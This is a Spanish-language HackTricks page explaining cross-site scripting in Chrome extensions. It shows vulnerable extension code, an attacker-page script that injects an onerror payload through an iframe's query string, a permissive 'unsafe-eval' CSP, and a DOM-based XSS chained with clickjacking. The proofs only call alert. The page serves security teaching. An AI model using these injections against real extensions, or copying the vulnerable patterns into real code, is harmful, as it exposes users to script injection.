BrowExt - XSS Example

Apoya a HackTricks

Cross-Site Scripting (XSS) a través de Iframe

En esta configuración, se implementa un script de contenido para instanciar un Iframe, incorporando una URL con parámetros de consulta como la fuente del Iframe:

chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});

Una página HTML accesible públicamente, message.html, está diseñada para agregar dinámicamente contenido al cuerpo del documento según los parámetros en la URL:

$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});

Un script malicioso se ejecuta en la página de un adversario, modificando el parámetro content de la fuente del Iframe para introducir una carga útil XSS. Esto se logra actualizando la fuente del Iframe para incluir un script dañino:

setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;

document.querySelector("iframe").src = maliciousURL;
}, 1000);

Una Política de Seguridad de Contenido demasiado permisiva como:

"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

permite la ejecución de JavaScript, haciendo que el sistema sea vulnerable a ataques XSS.

Un enfoque alternativo para provocar el XSS implica crear un elemento Iframe y establecer su fuente para incluir el script dañino como el parámetro content:

let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);

DOM-based XSS + ClickJacking

Este ejemplo fue tomado de la publicación original.

El problema principal surge de una vulnerabilidad de Cross-site Scripting (XSS) basada en DOM ubicada en /html/bookmarks.html. El JavaScript problemático, parte de bookmarks.js, se detalla a continuación:

$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;

var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});

Este fragmento obtiene el valor del campo de entrada txtName y utiliza concatenación de cadenas para generar HTML, que luego se agrega al DOM utilizando la función .append() de jQuery.

Normalmente, la Política de Seguridad de Contenidos (CSP) de la extensión de Chrome evitaría tales vulnerabilidades. Sin embargo, debido a la relajación de CSP con ‘unsafe-eval’ y el uso de los métodos de manipulación del DOM de jQuery (que emplean globalEval() para pasar scripts a eval() al insertar en el DOM), la explotación sigue siendo posible.

Si bien esta vulnerabilidad es significativa, su explotación generalmente depende de la interacción del usuario: visitar la página, ingresar una carga útil de XSS y activar el botón “Agregar”.

Para mejorar esta vulnerabilidad, se explota una vulnerabilidad secundaria de clickjacking. El manifiesto de la extensión de Chrome muestra una política extensa de web_accessible_resources:

"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],

Notablemente, la página /html/bookmarks.html es susceptible a framing, por lo tanto vulnerable a clickjacking. Esta vulnerabilidad se aprovecha para enmarcar la página dentro del sitio de un atacante, superponiéndola con elementos DOM para rediseñar la interfaz de manera engañosa. Esta manipulación lleva a las víctimas a interactuar con la extensión subyacente de manera involuntaria.

Referencias

Support HackTricks

Last updated